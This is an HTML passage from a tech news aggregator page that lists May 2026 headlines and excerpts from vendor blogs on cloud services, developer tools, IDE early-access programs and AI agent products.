        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>It’s no secret – the tech industry is rapidly adopting agentic software development to convert business processes into fully autonomous, agentic workflows. While the power of these tools is undeniable</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/agentic-paradox-and-case-hybrid-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-client-vpn-now-supports-ubuntu-os-version-2604-lts" class="group relative scroll-mt-24">
        <a href="#h3-aws-client-vpn-now-supports-ubuntu-os-version-2604-lts" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Client VPN now supports Ubuntu OS version 26.04 LTS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-client-vpn-now-supports-ubuntu-os-version-2604-lts"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Client VPN now supports Linux desktop client with Ubuntu versions 26.04 LTS. You can now run the AWS supplied VPN client on the latest Ubuntu OS versions. AWS Client VPN desktop clients are availa</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/aws-client-vpn-ubuntu-26/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-guide-to-red-hat-openshift-service-on-aws-rosa-at-red-hat-summit-2026" class="group relative scroll-mt-24">
        <a href="#h3-your-guide-to-red-hat-openshift-service-on-aws-rosa-at-red-hat-summit-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your guide to Red Hat OpenShift Service on AWS (ROSA) at Red Hat Summit 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-guide-to-red-hat-openshift-service-on-aws-rosa-at-red-hat-summit-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;re excited to share what&#39;s coming for Red Hat OpenShift Service on AWS (ROSA) at Red Hat Summit 2026. Sessions will cover everything from virtual machine (VM) modernization and AI workload scaling </p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/your-guide-red-hat-openshift-service-aws-rosa-red-hat-summit-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-may-8-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-may-8-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — May 8, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-may-8-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SiliconANGLE theCUBE- Red Hat 2026 Summit PreviewtheCUBE&#39;s Rob Strechay sits down with Ashesh Badani, CPO of Red Hat, to explore how enterprises are turning AI ambition into operational reality. Badan</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-may-8-2026-red-hat"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-is-a-context-platform-a-new-pattern-for-ai-agents-in-production" class="group relative scroll-mt-24">
        <a href="#h3-what-is-a-context-platform-a-new-pattern-for-ai-agents-in-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What is a Context Platform? A New Pattern for AI Agents in Production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-is-a-context-platform-a-new-pattern-for-ai-agents-in-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The stories sound the same in every engineering review. A team ships a working AI prototype in a week. The demo is impressive. Leadership greenlights production. Six months later, the app is still not</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/ai-application-data-layer-context-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-for-the-future" class="group relative scroll-mt-24">
        <a href="#h3-building-for-the-future" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building for the future
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-for-the-future"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This afternoon, we sent the following email to our global team. One of our core values at Cloudflare is transparency, and we believe it&#39;s important that you hear this directly from us because it’s a m</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/building-for-the-future/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gemini-31-flash-lite-is-now-generally-available-on-gemini-enterprise-agent-platform" class="group relative scroll-mt-24">
        <a href="#h3-gemini-31-flash-lite-is-now-generally-available-on-gemini-enterprise-agent-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gemini 3.1 Flash-Lite is now generally available on Gemini Enterprise Agent Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gemini-31-flash-lite-is-now-generally-available-on-gemini-enterprise-agent-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, we’re thrilled to announce that Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model yet, is now generally available. Designed for ultra-low latency, high-volume tas</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-1-flash-lite-is-now-generally-available/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-mps-20261-early-access-program-has-started" class="group relative scroll-mt-24">
        <a href="#h3-the-mps-20261-early-access-program-has-started" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The MPS 2026.1 Early Access Program Has Started
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-mps-20261-early-access-program-has-started"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The MPS 2026.1 Early Access Program (EAP) is kicking off today. Download the first 2026.1 EAP release and give it a try! DOWNLOAD MPS 2026.1 EAP Along with numerous bug fixes, this build introduces se</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/mps/2026/05/the-mps-2025-2-eap-has-started-2/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cross-region-disaster-recovery-for-amazon-eks-using-aws-backup" class="group relative scroll-mt-24">
        <a href="#h3-cross-region-disaster-recovery-for-amazon-eks-using-aws-backup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cross-Region disaster recovery for Amazon EKS using AWS Backup
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cross-region-disaster-recovery-for-amazon-eks-using-aws-backup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we walk you through a complete cross-Region DR implementation for Amazon EKS using AWS Backup. We deploy a stateful retail store application in a source Region, back it up, copy the back</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/cross-region-disaster-recovery-for-amazon-eks-using-aws-backup/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1120" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1120" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.120
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1120"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.120 (Insiders) Read the full article</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_120"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-lyrieai-joins-first-batch-of-anthropics-cyber-verification-program" class="group relative scroll-mt-24">
        <a href="#h3-lyrieai-joins-first-batch-of-anthropics-cyber-verification-program" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Lyrie.ai Joins First Batch of Anthropic’s Cyber Verification Program
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-lyrieai-joins-first-batch-of-anthropics-cyber-verification-program"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dubai, UAE, 11th May 2026, CyberNewswire</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/lyrie-ai-joins-first-batch-of-anthropics-cyber-verification-program/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-goland-20262-early-access-program-has-started" class="group relative scroll-mt-24">
        <a href="#h3-the-goland-20262-early-access-program-has-started" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The GoLand 2026.2 Early Access Program Has Started
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-goland-20262-early-access-program-has-started"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Early Access Program (EAP) for GoLand 2026.2 is now open. It’s a great opportunity to try upcoming features for free and help shape the product. EAP builds give you early access to what we’re work</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/go/2026/05/11/the-goland-2026-2-early-access-program-has-started/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-our-2026-direction-ai-and-classic-workflows-in-jetbrains-ides" class="group relative scroll-mt-24">
        <a href="#h3-our-2026-direction-ai-and-classic-workflows-in-jetbrains-ides" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Our 2026 Direction: AI and Classic Workflows in JetBrains IDEs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-our-2026-direction-ai-and-classic-workflows-in-jetbrains-ides"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Two valid ways of writing code. One place to own it. Quick version for AI-news-tired readers: press here There are two ways developers create code now: We don’t think one is better than the other. Our</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/ai/2026/05/our-2026-direction-ai-and-classic-workflows-in-jetbrains-ides-2/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-open-source-contribution-is-about-more-than-just-altruism" class="group relative scroll-mt-24">
        <a href="#h3-open-source-contribution-is-about-more-than-just-altruism" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Open Source Contribution is About More Than Just Altruism
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-open-source-contribution-is-about-more-than-just-altruism"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Passive consumption of open source software creates hidden costs, including $670,000 annually in internal workarounds; however, organizations that shift to upstream contribution report up to 5x return</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/open-source-contribution-is-about-more-than-just-altruism/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-code-maintainability-what-is-it-and-why-its-important" class="group relative scroll-mt-24">
        <a href="#h3-code-maintainability-what-is-it-and-why-its-important" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Code Maintainability: What is it and Why It’s Important
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-code-maintainability-what-is-it-and-why-its-important"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Writing code that’s clean, readable, and easy to modify without causing unintended side effects is vital to ensuring a seamless development process. Good code encourages a smoother long-term software </p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/qodana/2026/05/code-maintainability-what-is-it-and-why-is-it-important/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-githubs-spec-kit-puts-the-spec-back-in-software-development" class="group relative scroll-mt-24">
        <a href="#h3-githubs-spec-kit-puts-the-spec-back-in-software-development" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub’s Spec Kit Puts the Spec Back in Software Development
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-githubs-spec-kit-puts-the-spec-back-in-software-development"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub’s open-source Spec Kit aims to eliminate &quot;vibe coding&quot; by prioritizing durable specifications over vague prompts, providing a structured, agent-agnostic workflow for Copilot, Claude, and Gemini</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/githubs-spec-kit-puts-the-spec-back-in-software-development/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-turning-complexity-into-confidence-with-red-hat-technical-supportability-review-with-ai" class="group relative scroll-mt-24">
        <a href="#h3-turning-complexity-into-confidence-with-red-hat-technical-supportability-review-with-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Turning complexity into confidence with Red Hat Technical Supportability Review with AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-turning-complexity-into-confidence-with-red-hat-technical-supportability-review-with-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Reactive support models can be a liability when a single misconfiguration can stall a global rollout or an essential production upgrade. To address this, Red Hat Support has introduced Red Hat Technic</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/turning-complexity-confidence-red-hat-technical-supportability-review-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-red-hat-and-netris-bring-multi-tenant-networking-to-sovereign-ai-clouds-and-neoclouds" class="group relative scroll-mt-24">
        <a href="#h3-red-hat-and-netris-bring-multi-tenant-networking-to-sovereign-ai-clouds-and-neoclouds" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Red Hat and Netris bring multi-tenant networking to sovereign AI clouds and neoclouds
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-red-hat-and-netris-bring-multi-tenant-networking-to-sovereign-ai-clouds-and-neoclouds"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI compute and storage have evolved to become abstracted, multi-tenant, and automated, AI infrastructure now demands accelerated networking that delivers the same levels of automation, orchestratio</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/red-hat-and-netris-bring-multi-tenant-networking-sovereign-ai-clouds-and-neoclouds"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-157000-developers-are-hedging-against-anthropic-with-opencode" class="group relative scroll-mt-24">
        <a href="#h3-why-157000-developers-are-hedging-against-anthropic-with-opencode" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why 157,000 developers are hedging against Anthropic with OpenCode
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-157000-developers-are-hedging-against-anthropic-with-opencode"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic spent its biggest developer day of the year showing what a managed coding harness looks like at full scale. The post Why 157,000 developers are hedging against Anthropic with OpenCode appear</p>
<p><strong>📅 May 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/anthropic-claudecode-opencode-split/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-can-now-follow-users-across-outlook-word-excel-and-powerpoint" class="group relative scroll-mt-24">
        <a href="#h3-claude-can-now-follow-users-across-outlook-word-excel-and-powerpoint" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude can now follow users across Outlook, Word, Excel, and PowerPoint
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-can-now-follow-users-across-outlook-word-excel-and-powerpoint"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic is expanding Claude’s reach across Microsoft 365, adding Outlook support while bringing Word, Excel, and PowerPoint integrations into general The post Claude can now follow users across Outl</p>
<p><strong>📅 May 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/claude-word-excel-powerpoint-outlook-microsoft-office/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-silicon-ceiling-why-the-hardware-crisis-is-the-ultimate-wake-up-call" class="group relative scroll-mt-24">
        <a href="#h3-the-silicon-ceiling-why-the-hardware-crisis-is-the-ultimate-wake-up-call" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
